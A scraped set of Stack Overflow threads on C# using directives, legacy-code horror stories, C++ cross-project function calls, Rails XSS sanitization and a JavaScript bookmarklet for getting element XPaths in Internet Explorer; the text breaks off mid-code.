"author_profile": "https://Stackoverflow.com/users/29345",
"pm_score": 1,
"selected": false,
"text": "<p>\"The minute your colleague said \"copy-and-paste code\", he lost all credibility.\" ditto.</p>\n\n<p>\"The Law of Demeter says...\" ditto</p>\n\n<p>...and I add. That's just absurd, not using using statements. Get ReSharper, find some way to teach this fellow how it's done, and if it doesn't seem to take effect - with the reasons given, it's time to start looking into a different job. Just the correlations of what goes along with such notions as not using using statements is scary. You'll be stuck working 16 hr days fixing mess if that's one of the rules. There is no telling what other type of affront to common sense and logic you'll face next.</p>\n\n<p>Seriously though, this shouldn't even be brought up with tools like ReSharper available. Money is being wasted, buy ReSharper, do code cleanup, and get back to making usable software. :) That's my 2 cents.</p>\n"
},
{
"answer_id": 216317,
"author": "Mauro",
"author_id": 2208,
"author_profile": "https://Stackoverflow.com/users/2208",
"pm_score": 1,
"selected": false,
"text": "<p>if you are repeatedly copying and pasting code, doesn't that point to creating a standard DLL to include into each of your projects? </p>\n\n<p>I've worked on projects using both methods before and have to say having the \"Using\" statements makes sense to me, it cuts down on the code, makes it more readable and your compiler will ultimately optimise the code in the right way. The only time you may have an issue is if you have two classes from two namespaces which have the same name, then you would have to use the fully qualified name...but thats the exception rather than the rule.</p>\n"
},
{
"answer_id": 2030887,
"author": "Brian",
"author_id": 18192,
"author_profile": "https://Stackoverflow.com/users/18192",
"pm_score": 0,
"selected": false,
"text": "<p>Isn't the fact that Visual Studio includes lots of using statements at the top of pretty much every file it creates a hint that <code>using</code> statements are considered good practice?</p>\n"
},
{
"answer_id": 8038417,
"author": "Eddie",
"author_id": 1033979,
"author_profile": "https://Stackoverflow.com/users/1033979",
"pm_score": 1,
"selected": false,
"text": "<p>I have been coding for 25 years. USINGS are essential and should always be utilized and is a good coding practice. HOWEVER any good developer should have a repository of code. Sharing snippets of code is much easier when including fully qualified namespaces.</p>\n\n<p>The comment COPY & PASTE is a bad technique usually comes from the mouth of those developers who haven't taken the time to build a robust repository of code and haven't stopped to truely understand generic code is tested code. Fully qualified namespaces I see as a necessity in code repositories or else your hunting around trying to determine where the heck the namespace comes from.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214825",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28722/"
] |
My colleague insists on explicitly specifying the namespace in code as opposed to using the [using directive](http://msdn.microsoft.com/en-us/library/sf0df423.aspx). In other words he wants to use the fully qualified name for each type every time this type occurs in code. Something like
```
public class MyClass
{
public static void Main()
{
System.Console.WriteLine("Foo");
}
}
```
instead of:
```
using System;
public class MyClass
{
public static void Main()
{
Console.WriteLine("Foo");
}
}
```
You can imagine the consequences.
The pros he gives:
1. It's simpler to copy and paste code into other source files.
2. It is more readable (you see the namespaces right away).
My cons:
1. I have to write more
2. The code is less readable (I guess de gustibus non disputandum est)
3. No one does it!
What do you think about this?
|
For a slightly different answer: LINQ.
Extension methods are obtained only via "using" statements. So either the query syntax or the fluent interface will *only* work with the right "using" statements.
Even without LINQ, I'd say use "using"... reasoning that the more you can understand in fewer characters, the better. Some namespaces are very deep, but add no value to your code.
There are other extension methods too (not just LINQ) that would suffer the same; sure, you can use the static class, but the fluent interface is more expressive.
|
214,836 |
<p>I periodically am called upon to do maintenance work on a system that was built by a real rocket surgeon. There's so much wrong with it that it's hard to know where to start. </p>
<p>No, wait, I'll start at the beginning: in the early days of the project, the designer was told that the system would need to scale, and he'd read that a source of scalability problems was traffic between the application and database servers, so he made sure to minimize this traffic. How? By putting all of the application logic in SQL Server stored procedures.</p>
<p>Seriously. The great bulk of the application functions by the HTML front end formulating XML messages. When the middle tier receives an XML message, it uses the document element's tag name as the name of the stored procedure it should call, and calls the SP, passing it the entire XML message as a parameter. It takes the XML message that the SP returns and returns it directly back to the front end. <em>There is no other logic in the application tier.</em></p>
<p>(There <em>was</em> some code in the middle tier to validate the incoming XML messages against a library of schemas. But I removed it, after ascertaining that 1) only a small handful of messages had corresponding schemas, 2) the messages didn't actually conform to these schemas, and 3) after validating the messages, if any errors were encountered, the method discarded them. "This fuse box is a real time-saver - it comes from the factory with pennies pre-installed!")</p>
<p>I've seen software that does the wrong thing before. Lots of it. I've written quite a bit. But I've never seen anything <em>like</em> the steely-eyed determination to do the wrong thing, at <em>every possible turn</em>, that's embodied in the design and programming of this system.</p>
<p>Well, at least he went with what he knew, right? Um. Apparently, what he knew was Access. And he didn't really <em>understand</em> Access. Or databases.</p>
<p>Here's a common pattern in this code:</p>
<pre>
SELECT @TestCodeID FROM TestCode WHERE TestCode = @TestCode
SELECT @CountryID FROM Country WHERE CountryAbbr = @CountryAbbr
SELECT Invoice.*, TestCode.*, Country.*
FROM Invoice
JOIN TestCode ON Invoice.TestCodeID = TestCode.ID
JOIN Country ON Invoice.CountryID = Country.ID
WHERE Invoice.TestCodeID = @TestCodeID AND Invoice.CountryID = @CountryID
</pre>
<p>Okay, fine. You don't trust the query optimizer either. But how about this? (Originally, I was going to post this in <a href="https://stackoverflow.com/questions/184618/what-is-the-best-comment-in-source-code-you-have-ever-encountered">What's the best comment in source code you have ever encountered?</a> but I realized that there was so much more to write about than just this one comment, and things just got out of hand.) At the end of many of the utility stored procedures, you'll see code that looks like the following:</p>
<pre>
-- Fix NULLs
SET @TargetValue = ISNULL(@TargetValue, -9999)
</pre>
<p>Yes, that code is doing exactly what you can't allow yourself to believe it's doing lest you be driven mad. If the variable contains a NULL, he's alerting the caller by changing its value to -9999. Here's how this number is commonly used:</p>
<pre>
-- Get target value
EXEC ap_GetTargetValue @Param1, @Param2, OUTPUT @TargetValue
-- Check target value for NULL value
IF @TargetValue = -9999
...
</pre>
<p>Really.</p>
<p>For another dimension of this system, see the article on thedailywtf.com entitled <a href="http://thedailywtf.com/Articles/I_Think_I_0x27_ll_Call_Them__0x26_quot_0x3b_Transactions_0x26_quot_0x3b_.aspx" rel="nofollow noreferrer">I Think I'll Call Them "Transactions"</a>. I'm not making any of this up. I swear.</p>
<p>I'm often reminded, when I work on this system, of Wolfgang Pauli's famous response to a student: "That isn't right. It isn't even wrong."</p>
<p>This can't really be the very worst program ever. It's definitely the worst one I've worked on in my entire 30-year (yikes) career. But I haven't seen everything. What have you seen?</p>
|
[
{
"answer_id": 214869,
"author": "C. Broadbent",
"author_id": 28859,
"author_profile": "https://Stackoverflow.com/users/28859",
"pm_score": 5,
"selected": false,
"text": "<p>I once tried to write an <a href=\"http://en.wikipedia.org/wiki/MP3\" rel=\"noreferrer\">MP3</a> decoder. It didn't work.</p>\n"
},
{
"answer_id": 214878,
"author": "graham.reeds",
"author_id": 342,
"author_profile": "https://Stackoverflow.com/users/342",
"pm_score": 3,
"selected": false,
"text": "<p>The one I have just started on.</p>\n\n<ol>\n<li>No Source control.</li>\n<li>All source is edited live. To stop mistakes, there are backup files like db-access.php.070821 littering the source tree.</li>\n<li>The code is exceptionally brittle - there is very little in the way of error checking and absolutely no fall back if it does.</li>\n</ol>\n"
},
{
"answer_id": 217254,
"author": "Schwern",
"author_id": 14660,
"author_profile": "https://Stackoverflow.com/users/14660",
"pm_score": 4,
"selected": false,
"text": "<p>I maintained <a href=\"http://search.cpan.org/perldoc?ExtUtils::MakeMaker\" rel=\"nofollow noreferrer\">ExtUtils::MakeMaker</a>. MakeMaker is certainly not the worst code I've had to maintain; it's actually an engineering marvel. However, it is in that unique class of coding horrors wherein the most mission-critical code is also the most terrifying.</p>\n\n<p>MakeMaker is the installer for most Perl modules. When you run \"Makefile.PL\" you are invoking MakeMaker. If MakeMaker breaks, Perl breaks. Perl runs on everything, so MakeMaker has to run on everything. When I say everything I mean EVERYTHING. Every bizarre Unix variant. Windows 95 on up. And <a href=\"https://en.wikipedia.org/wiki/OpenVMS\" rel=\"nofollow noreferrer\">VMS</a>. Yes, VMS.</p>\n\n<p>What does MakeMaker do? Makefile.PL is a Perl program that writes a Makefile which contains shell commands, which often run Perl, to build and install a Perl module. Let me repeat: It writes shell commands to run Perl. Perl, the language which replaces shell scripts.</p>\n\n<p>Oh, it can also compile and link C code. And it can also statically link Perl modules into perl. Oh, and it can manage RCS checkouts. Oh, and roll tarballs of your distribution... and zip files. And do all this other stuff vaguely related to installing modules.</p>\n\n<p>And it has to do all this in a portable, backwards compatible fashion. It has to deal with variants of and bugs in...</p>\n\n<ul>\n<li>make (GNU make, BSD make, nmake, dmake, mms, mmk to name a few)</li>\n<li>shell</li>\n<li>Perl</li>\n<li>The filesystem (if you don't think that's a big deal, try VMS)</li>\n<li>C compilers & linkers</li>\n</ul>\n\n<p>It absolutely, positively can not fail and must remain 100% backwards compatible. </p>\n\n<p>Oh, and it has very little in the way of a real extension API, so it has to remain compatible with the ad hoc Makefile hackery people have to do to extend it.</p>\n\n<p>Why does it do all this? 15 years ago when Perl only ran on Unix this seemed like a great idea. Why write a whole build system when you can just use make? Perl's a text processing language; we'll just use it to write a Makefile!</p>\n\n<p>Fortunately there is a replacement, <a href=\"http://search.cpan.org/perldoc?Module::Build\" rel=\"nofollow noreferrer\">Module::Build</a>, and I pinned my hopes that it would swiftly kill MakeMaker. But its uptake has been slow and the community very resistant to the change, so I'm stuck maintaining MakeMaker.</p>\n"
},
{
"answer_id": 217285,
"author": "Tobias",
"author_id": 14027,
"author_profile": "https://Stackoverflow.com/users/14027",
"pm_score": 1,
"selected": false,
"text": "<p>I'm maintaining a scheduling web-application we use in our intranet. When I've been asked if I could remove an agent from the scheduler I thought, sure why not.\nWhen I took a look into the source code I figured out that every hour of this agent's day was coded separately. So was every day of his week. And so was every week of every agent of this region. And so was every region of about 5 regions.\nHtml fies that hold asp-code all over the place. </p>\n\n<p>One day I took some time to guess how many lines of code are in these various files and I estimated about 300000. Three-hundred thousand lines of code of once handwritten and then copy and pasted code.</p>\n\n<p>But this number convinced my manager pretty quickly that we would need a new scheduling app very quickly.</p>\n"
},
{
"answer_id": 217346,
"author": "Rob",
"author_id": 2595,
"author_profile": "https://Stackoverflow.com/users/2595",
"pm_score": 4,
"selected": false,
"text": "<blockquote>\n <p>What’s the most unsound program you’ve had to maintain?</p>\n</blockquote>\n\n<p>Everything I've ever written!</p>\n\n<p>Seriously. The more I read blogs, listen to podcasts, and follow sites like this, the more I learn every day. And every day I basically realize everything I wrote yesterday is wrong in some way. I feel for the poor saps that are maintaining the things I wrote early in my career.</p>\n"
},
{
"answer_id": 224958,
"author": "Ovid",
"author_id": 8003,
"author_profile": "https://Stackoverflow.com/users/8003",
"pm_score": 2,
"selected": false,
"text": "<p>I used to be a COBOL programmer (shudder). All of our code fell into the \"unsound\" category. In COBOL, you have no namespaces, all variables are global and there's a lot of mandatory duplication of filenames and other resources. To call a procedure, you set global variables, call the procedure, and then inspect the contents of those global variables (or others that might get set).</p>\n\n<p>The worst, though, was maintaining a COBOL program written before I was born (I was born in 1967) and its exclusive method of flow control was the GOTO. It was an absolute mess and impossible to follow. Minor changes to a variable type could take days to work out. There were no automated tests and manual test plans were never saved, so every change required a new manual test plan be written out, followed exhaustively, and turned in with the code.</p>\n\n<p>Ironically, this is what makes COBOL so successful. COBOL is often executed by Job Control Language (JCL). Since COBOL is so weak, programs don't do a lot, so JCL would allocate some disk space (often down to the cylinder level), and execute a small COBOL program to read data and then write out just the data you need. Then JCL might call a sort program to sort the resulting file. Then another COBOL program would be called to read the sorted file and summarize the data and maybe re-extract the needed results. And maybe JCL would be used again to to move the file somewhere else, and yet another COBOL program would get called to read the results and store them in a database, and so on. Each COBOL program tended to only do one thing and a primitive version of the Unix pipeline model was created -- all because COBOL is too hard to maintain or do anything complicated with. We had loose coupling and tight cohesion (between programs, not in them) because it was almost impossible to write COBOL any other way.</p>\n"
},
{
"answer_id": 224987,
"author": "MysticSlayer",
"author_id": 28139,
"author_profile": "https://Stackoverflow.com/users/28139",
"pm_score": 0,
"selected": false,
"text": "<p>Maintaining ASP applications for a specific company who hires developers to maintain their previous hires... All these applications are not documented, neither there are any comments.</p>\n\n<p>Every function is copied and pasted in every ASP page. So no functions are defined or whatsoever... Every day I'm crippled by their environments, because I have first to remote to a server, to bypass the <a href=\"https://en.wikipedia.org/wiki/DMZ_%28computing%29\" rel=\"nofollow noreferrer\">DMZ</a>. After that I have to remote in to a production server where I have to make the changes.</p>\n"
},
{
"answer_id": 225095,
"author": "MikeJ-UK",
"author_id": 25750,
"author_profile": "https://Stackoverflow.com/users/25750",
"pm_score": 3,
"selected": false,
"text": "<p>I once had to maintain a legacy C application which had previously been written and maintained by some programmers who had lost the will to program (and possibly live). It had too many WTFs to mention, but I do remember a boolean function which under various special cases would return TRUE+1, TRUE+2, etc.</p>\n\n<p>Then I read <a href=\"http://mindprod.com/jgloss/unmain.html\" rel=\"nofollow noreferrer\">Roedy Green's essay</a> and laughed a lot, until I realised that the reason I found it funny was that I recognised most of the examples from the code I was maintaining. (That essay has become a bit bloated over years of additions, but it's still worth a look.)</p>\n"
},
{
"answer_id": 234948,
"author": "Don Wakefield",
"author_id": 3778,
"author_profile": "https://Stackoverflow.com/users/3778",
"pm_score": 0,
"selected": false,
"text": "<p>I once got called in to help track down a periodic crash in an EDIF reader. Almost immediately I started getting a headache. The original author seemed to feel that <a href=\"https://en.wikipedia.org/wiki/Yacc\" rel=\"nofollow noreferrer\">Yacc</a> was going to penalize him for whitespace, and his Yacc grammar was a dense, unreadable mess. I spent a couple of hours formatting it, adding rules for missing terminals as they emerged, structuring the declarations to avoid stack growth, and voila, the crash was extinguished.</p>\n\n<p>So remember, for every time you wait while Yacc processes your grammar, there will be thousands of runs with the generated parser. Don't be cheap with the whitespace!</p>\n"
},
{
"answer_id": 310766,
"author": "dsimcha",
"author_id": 23903,
"author_profile": "https://Stackoverflow.com/users/23903",
"pm_score": 0,
"selected": false,
"text": "<p>Anything I've ever written that's originally supposed to be a quick prototype and ends up staying around a while. My problem domain requires a lot of throwaway prototyping by its nature. For these prototypes, it's sometimes reasonable to violate every best practice and rule of good style, just get it done and clean up later if the prototype ends up being worth keeping. However, occasionally these prototypes end up being very difficult to get working properly, but then end up being keepers. In these cases, I usually end up putting off refactoring/rewriting the thing indefinitely because I'm afraid I'll never get it working again. Further lessening my motivation is that my boss is a domain expert who doesn't program at all.</p>\n"
},
{
"answer_id": 310791,
"author": "Dexygen",
"author_id": 34806,
"author_profile": "https://Stackoverflow.com/users/34806",
"pm_score": 1,
"selected": false,
"text": "<p>A PHP/MySQL-driven online contact management system, where the contact table did not have a natural key. There were numerous instances of database fields containing composite data in the form of a delimited string that subsequently needed to be parsed by application code.</p>\n\n<p>The HTML and logic were intertwined, almost no functions were used, but rather code was cut and pasted into dozens of source code files. Data was not sanitized and so fields with (e.g.) embedded vertical tabs caused the XML returned by Ajax calls to malfunction, and to top it all off, files with dozens if not hundreds of empty statements consisting of closing braces immediately followed by semi-colons: \"};\"</p>\n"
},
{
"answer_id": 430790,
"author": "metadaddy",
"author_id": 33905,
"author_profile": "https://Stackoverflow.com/users/33905",
"pm_score": 0,
"selected": false,
"text": "<p>The interpreter for a CAD/CAM geometry processing language (P1 = 10,10; P2 = 20,20; L1 = P1,P2; - that sort of thing), written in Microsoft BASIC Professional Development System (PDS), with minimal length variable names (it ran out of single letters quickly, so moved on to double letters. PP, PQ, PR, anyone?). And, to be fair, <em>some</em> comments. In Italian.</p>\n\n<p>Funnily enough, it actually worked, and I was able to add some functionality to it, but it was like amateur dentistry - painful, and certainly not recommended...</p>\n"
},
{
"answer_id": 933298,
"author": "Jim Ferrans",
"author_id": 45935,
"author_profile": "https://Stackoverflow.com/users/45935",
"pm_score": 2,
"selected": false,
"text": "<p>Right out of grad school at Lucent I was given a compiler and interpreter to maintain, written in PL/I. The language being compiled described a complex set of integrity constraints, and the interpreter ran those constraints against a large data set that would later be formed into the initial database controlling the 4ESS switch. The 4ESS was, and still is, a circuit-switch for long distance voice traffic.</p>\n\n<p>The code was a jumble. There was a label to branch to called \"NORTH40\". I asked the original developer what it meant.</p>\n\n<p>\"That's where the range checks are done, you know, the checks to make sure each field has a correct value.\" </p>\n\n<p>\"But why 'NORTH40'?\"</p>\n\n<p>\"You know, 'Home, home on the range.'\"</p>\n\n<p>\"Huh?\"</p>\n\n<p>Turned out 'NORTH40' meant a farm's north 40 acres, which in his city-bred mind had an obscure connection to a cattle ranch.</p>\n\n<p>Another module had two parallel arrays called TORY and DIREC, which were updated in parallel and so were an obviously misguided attempt to model a single array containing pairs of data. I couldn't figure out the names and asked the developer. Turned out they were meant to be read together: \"direc-tory\". Great. </p>\n\n<p>The poor guys that had to write the integrity constraints had no user manual to guide them, just an oral tradition plus hand-written notes. Worse, the compiler did no syntax-checking, and very often they wound up specifying a constraint that was mapped quietly into the wrong logic, often with very bad consequences. </p>\n\n<p>Worse was to come. As I delved into the bowels of the interpreter, I discovered it was built around a giant sort process. Before the sort was an input process that generated the sort input data from the raw data and the integrity constraints. So if you had a table with 5,000 trunk definitions in it, and each trunk record had three field values that had to be unique across the whole input data set, the input process would create 3 * 5,000 = 15,000 sort input records, each a raw data record prefixed by the integrity constraint number and a copy of the field value to be sorted. Instead of doing three 5,000 record sorts, it did one 15,000 record sort. By the time you factored in hundreds of intra- and inter-table integrity constraints, and some very large tables, you had a combinatorial nightmare.</p>\n\n<p>I was able to refactor a bit, document the language, and add syntax checking with comprehensible error messages, but a few months later jumped at a transfer to a new group.</p>\n"
},
{
"answer_id": 1120997,
"author": "jMM",
"author_id": 19184,
"author_profile": "https://Stackoverflow.com/users/19184",
"pm_score": 1,
"selected": false,
"text": "<p>I once worked on a CAD application written in BASIC where the company policy was that every program must begin with the statement:</p>\n\n<p><strong>ON ERROR RESUME</strong></p>\n\n<p>jMM</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214836",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19403/"
] |
I periodically am called upon to do maintenance work on a system that was built by a real rocket surgeon. There's so much wrong with it that it's hard to know where to start.
No, wait, I'll start at the beginning: in the early days of the project, the designer was told that the system would need to scale, and he'd read that a source of scalability problems was traffic between the application and database servers, so he made sure to minimize this traffic. How? By putting all of the application logic in SQL Server stored procedures.
Seriously. The great bulk of the application functions by the HTML front end formulating XML messages. When the middle tier receives an XML message, it uses the document element's tag name as the name of the stored procedure it should call, and calls the SP, passing it the entire XML message as a parameter. It takes the XML message that the SP returns and returns it directly back to the front end. *There is no other logic in the application tier.*
(There *was* some code in the middle tier to validate the incoming XML messages against a library of schemas. But I removed it, after ascertaining that 1) only a small handful of messages had corresponding schemas, 2) the messages didn't actually conform to these schemas, and 3) after validating the messages, if any errors were encountered, the method discarded them. "This fuse box is a real time-saver - it comes from the factory with pennies pre-installed!")
I've seen software that does the wrong thing before. Lots of it. I've written quite a bit. But I've never seen anything *like* the steely-eyed determination to do the wrong thing, at *every possible turn*, that's embodied in the design and programming of this system.
Well, at least he went with what he knew, right? Um. Apparently, what he knew was Access. And he didn't really *understand* Access. Or databases.
Here's a common pattern in this code:
```
SELECT @TestCodeID FROM TestCode WHERE TestCode = @TestCode
SELECT @CountryID FROM Country WHERE CountryAbbr = @CountryAbbr
SELECT Invoice.*, TestCode.*, Country.*
FROM Invoice
JOIN TestCode ON Invoice.TestCodeID = TestCode.ID
JOIN Country ON Invoice.CountryID = Country.ID
WHERE Invoice.TestCodeID = @TestCodeID AND Invoice.CountryID = @CountryID
```
Okay, fine. You don't trust the query optimizer either. But how about this? (Originally, I was going to post this in [What's the best comment in source code you have ever encountered?](https://stackoverflow.com/questions/184618/what-is-the-best-comment-in-source-code-you-have-ever-encountered) but I realized that there was so much more to write about than just this one comment, and things just got out of hand.) At the end of many of the utility stored procedures, you'll see code that looks like the following:
```
-- Fix NULLs
SET @TargetValue = ISNULL(@TargetValue, -9999)
```
Yes, that code is doing exactly what you can't allow yourself to believe it's doing lest you be driven mad. If the variable contains a NULL, he's alerting the caller by changing its value to -9999. Here's how this number is commonly used:
```
-- Get target value
EXEC ap_GetTargetValue @Param1, @Param2, OUTPUT @TargetValue
-- Check target value for NULL value
IF @TargetValue = -9999
...
```
Really.
For another dimension of this system, see the article on thedailywtf.com entitled [I Think I'll Call Them "Transactions"](http://thedailywtf.com/Articles/I_Think_I_0x27_ll_Call_Them__0x26_quot_0x3b_Transactions_0x26_quot_0x3b_.aspx). I'm not making any of this up. I swear.
I'm often reminded, when I work on this system, of Wolfgang Pauli's famous response to a student: "That isn't right. It isn't even wrong."
This can't really be the very worst program ever. It's definitely the worst one I've worked on in my entire 30-year (yikes) career. But I haven't seen everything. What have you seen?
|
I once tried to write an [MP3](http://en.wikipedia.org/wiki/MP3) decoder. It didn't work.
|
214,843 |
<p>I have two projects in CPP. One defines a function which I'd like to invoke from the other.
I added a reference to the first project.
I still get the message of "identifier not found".
Assuming that the CPP file in the first project doesn't have a header, how do I make the second project know about its functions?</p>
|
[
{
"answer_id": 214846,
"author": "Greg Hewgill",
"author_id": 893,
"author_profile": "https://Stackoverflow.com/users/893",
"pm_score": 1,
"selected": false,
"text": "<p>If the first project doesn't have a header and you don't want to add one, then use the <code>extern</code> keyword to declare a prototype for the function you want to call in the second project source:</p>\n\n<pre><code>extern function_in_first_project(int args_go_here);\n</code></pre>\n\n<p>Make 100% sure that the function declaration (including argument list and calling convention) matches that of the actual function or you'll run into further problems.</p>\n\n<p>This may not be the only thing you have to do to make your project link, depending on how you've got your projects set up.</p>\n"
},
{
"answer_id": 216307,
"author": "Nathan Fellman",
"author_id": 1084,
"author_profile": "https://Stackoverflow.com/users/1084",
"pm_score": 0,
"selected": false,
"text": "<p>you could probably just add this to the top of the .cpp file of the second project:</p>\n\n<pre><code>#include \"first_project_header_file.h\"\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214843",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
I have two projects in CPP. One defines a function which I'd like to invoke from the other.
I added a reference to the first project.
I still get the message of "identifier not found".
Assuming that the CPP file in the first project doesn't have a header, how do I make the second project know about its functions?
|
If the first project doesn't have a header and you don't want to add one, then use the `extern` keyword to declare a prototype for the function you want to call in the second project source:
```
extern function_in_first_project(int args_go_here);
```
Make 100% sure that the function declaration (including argument list and calling convention) matches that of the actual function or you'll run into further problems.
This may not be the only thing you have to do to make your project link, depending on how you've got your projects set up.
|
214,850 |
<p>What is the best solution to sanitize output HTML in Rails (to avoid XSS attacks)?</p>
<p>I have two options: white_list plugin or sanitize method from Sanitize Helper <a href="http://api.rubyonrails.com/classes/ActionView/Helpers/SanitizeHelper.html" rel="nofollow noreferrer">http://api.rubyonrails.com/classes/ActionView/Helpers/SanitizeHelper.html</a> . For me until today the white_list plugin worked better and in the past, Sanitize was very buggy, but as part of the Core, probably it will be under development and be supported for a while.</p>
|
[
{
"answer_id": 217332,
"author": "Aristotle Pagaltzis",
"author_id": 9410,
"author_profile": "https://Stackoverflow.com/users/9410",
"pm_score": 2,
"selected": false,
"text": "<p>I recommend <a href=\"http://code.google.com/p/xssterminate/\" rel=\"nofollow noreferrer\">http://code.google.com/p/xssterminate/</a>.</p>\n"
},
{
"answer_id": 237778,
"author": "derfred",
"author_id": 10286,
"author_profile": "https://Stackoverflow.com/users/10286",
"pm_score": 2,
"selected": true,
"text": "<p>I think the h helper method will work here:</p>\n\n<pre><code><%= h @user.profile %>\n</code></pre>\n\n<p>This will escape angle brackets and therefore neutralize any embedded JavaScript. Of course this will also eliminate any formatting your users might use.</p>\n\n<p>If you want formatting, maybe look at markdown.</p>\n"
},
{
"answer_id": 239336,
"author": "Gareth",
"author_id": 31582,
"author_profile": "https://Stackoverflow.com/users/31582",
"pm_score": 0,
"selected": false,
"text": "<p>Personally I think it's not a small decision to accept any HTML entry in any web app. You can test for white/blacklisted tags as much as you like, but unless you're testing for correct nesting, someone could enter a series of closing tags, for example</p>\n\n<pre><code></td></tr></span></div>\n</code></pre>\n\n<p>and really mess with your layout.</p>\n\n<p>I'd usually give people something like Textile to enter their markup, since I'd rather spend my time working on business logic than HTML parsing.</p>\n\n<p>Of course, if this text entry is more fundamental to your app (as for example it is for stackoverflow) then you probably should give more attention to hand-rolling your own.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214850",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18642/"
] |
What is the best solution to sanitize output HTML in Rails (to avoid XSS attacks)?
I have two options: white\_list plugin or sanitize method from Sanitize Helper <http://api.rubyonrails.com/classes/ActionView/Helpers/SanitizeHelper.html> . For me until today the white\_list plugin worked better and in the past, Sanitize was very buggy, but as part of the Core, probably it will be under development and be supported for a while.
|
I think the h helper method will work here:
```
<%= h @user.profile %>
```
This will escape angle brackets and therefore neutralize any embedded JavaScript. Of course this will also eliminate any formatting your users might use.
If you want formatting, maybe look at markdown.
|
214,862 |
<p>I have an Internet Explorer only web application.</p>
<p>I'm exploring what we can do to automate the testing. </p>
<p>Selenium looks like a good tool, but to be able to activate links etc. I need to tell it where they are. The application wasn't built with this kind of testing in mind, so there generally aren't <code>id</code> attributes on the key elements.</p>
<p>No problem, I think, I can use XPath expressions. But finding the correct XPath for, say, a button, is a royal pain if done by inspecting the source of the page.</p>
<p>With Firefox / Firebug, I can select the element then use "Copy XPath" to get the expression.</p>
<p>I have the IE Developer Toolbar and it's frustratingly close. I can click to select the element of interest and display all sorts of information about it. but I can't see any convenient way of determining the XPath for it.</p>
<p>So is there any way of doing this with IE?</p>
|
[
{
"answer_id": 215091,
"author": "PhiLho",
"author_id": 15459,
"author_profile": "https://Stackoverflow.com/users/15459",
"pm_score": 4,
"selected": true,
"text": "<p>I would use bookmarklets. I have one XPath related, but I don't know if it works in IE. I gotta go but I will test it and give it if it works on IE.</p>\n\n<p>Two bookmarklet sites for Web developers from my bookmarks: <a href=\"http://subsimple.com/bookmarklets/collection.asp\" rel=\"noreferrer\" title=\"My bookmarklets\">Subsimple's bookmarklets</a> and <a href=\"https://www.squarefree.com/bookmarklets/\" rel=\"noreferrer\" title=\"Bookmarklets Home\">Squarefree's Bookmarklets</a>. Lot of useful things there...</p>\n\n<p>[EDIT] OK, I am back. The bookmarklet I had was for FF only, and wasn't optimal. I finally rewrote it, although using ideas from the original one. Can't find back where I found it.</p>\n\n<p>Expanded JS:</p>\n\n<pre><code>function getNode(node)\n{\n var nodeExpr = node.tagName;\n if (nodeExpr == null) // Eg. node = #text\n return null;\n if (node.id != '')\n {\n nodeExpr += \"[@id='\" + node.id + \"']\";\n // We don't really need to go back up to //HTML, since IDs are supposed\n // to be unique, so they are a good starting point.\n return \"/\" + nodeExpr;\n }\n// We don't really need this\n//~ if (node.className != '')\n//~ {\n//~ nodeExpr += \"[@class='\" + node.className + \"']\";\n//~ }\n // Find rank of node among its type in the parent\n var rank = 1;\n var ps = node.previousSibling;\n while (ps != null)\n {\n if (ps.tagName == node.tagName)\n {\n rank++;\n }\n ps = ps.previousSibling;\n }\n if (rank > 1)\n {\n nodeExpr += '[' + rank + ']';\n }\n else\n {\n // First node of its kind at this level. Are there any others?\n var ns = node.nextSibling;\n while (ns != null)\n {\n if (ns.tagName == node.tagName)\n {\n // Yes, mark it as being the first one\n nodeExpr += '[1]';\n break;\n }\n ns = ns.nextSibling;\n }\n }\n return nodeExpr;\n}\n\nvar currentNode;\n// Standard (?)\nif (window.getSelection != undefined) \n currentNode = window.getSelection().anchorNode;\n// IE (if no selection, that's BODY)\nelse \n currentNode = document.selection.createRange().parentElement();\nif (currentNode == null)\n{\n alert(\"No selection\");\n return;\n}\nvar path = [];\n// Walk up the Dom\nwhile (currentNode != undefined)\n{\n var pe = getNode(currentNode);\n if (pe != null)\n {\n path.push(pe);\n if (pe.indexOf('@id') != -1)\n break; // Found an ID, no need to go upper, absolute path is OK\n }\n currentNode = currentNode.parentNode;\n}\nvar xpath = \"/\" + path.reverse().join('/');\nalert(xpath);\n// Copy to clipboard\n// IE\nif (window.clipboardData) clipboardData.setData(\"Text\", xpath);\n// FF's code to handle clipboard is much more complex \n// and might need to change prefs to allow changing the clipboard content.\n// I omit it here as it isn't part of the original request.\n</code></pre>\n\n<p>You have to select the element and activate the bookmarklet to get its XPath.</p>\n\n<p>Now, the bookmarklet versions (thanks to <a href=\"http://subsimple.com/bookmarklets/jsbuilder.htm\" rel=\"noreferrer\" title=\"Bookmarklet Builder\">Bookmarklet Builder</a>):</p>\n\n<p>IE<br>\n(I had to break it in two parts, because IE doesn't like very long bookmarklets (max size varies depending on IE versions!). You have to activate the first one (function def) then the second one. Tested with IE6.)</p>\n\n<pre><code>javascript:function getNode(node){var nodeExpr=node.tagName;if(!nodeExpr)return null;if(node.id!=''){nodeExpr+=\"[@id='\"+node.id+\"']\";return \"/\"+nodeExpr;}var rank=1;var ps=node.previousSibling;while(ps){if(ps.tagName==node.tagName){rank++;}ps=ps.previousSibling;}if(rank>1){nodeExpr+='['+rank+']';}else{var ns=node.nextSibling;while(ns){if(ns.tagName==node.tagName){nodeExpr+='[1]';break;}ns=ns.nextSibling;}}return nodeExpr;}\njavascript:function o__o(){var currentNode=document.selection.createRange().parentElement();var path=[];while(currentNode){var pe=getNode(currentNode);if(pe){path.push(pe);if(pe.indexOf('@id')!=-1)break;}currentNode=currentNode.parentNode;}var xpath=\"/\"+path.reverse().join('/');clipboardData.setData(\"Text\", xpath);}o__o();\n</code></pre>\n\n<p>FF</p>\n\n<pre><code>javascript:function o__o(){function getNode(node){var nodeExpr=node.tagName;if(nodeExpr==null)return null;if(node.id!=''){nodeExpr+=\"[@id='\"+node.id+\"']\";return \"/\"+nodeExpr;}var rank=1;var ps=node.previousSibling;while(ps!=null){if(ps.tagName==node.tagName){rank++;}ps=ps.previousSibling;}if(rank>1){nodeExpr+='['+rank+']';}else{var 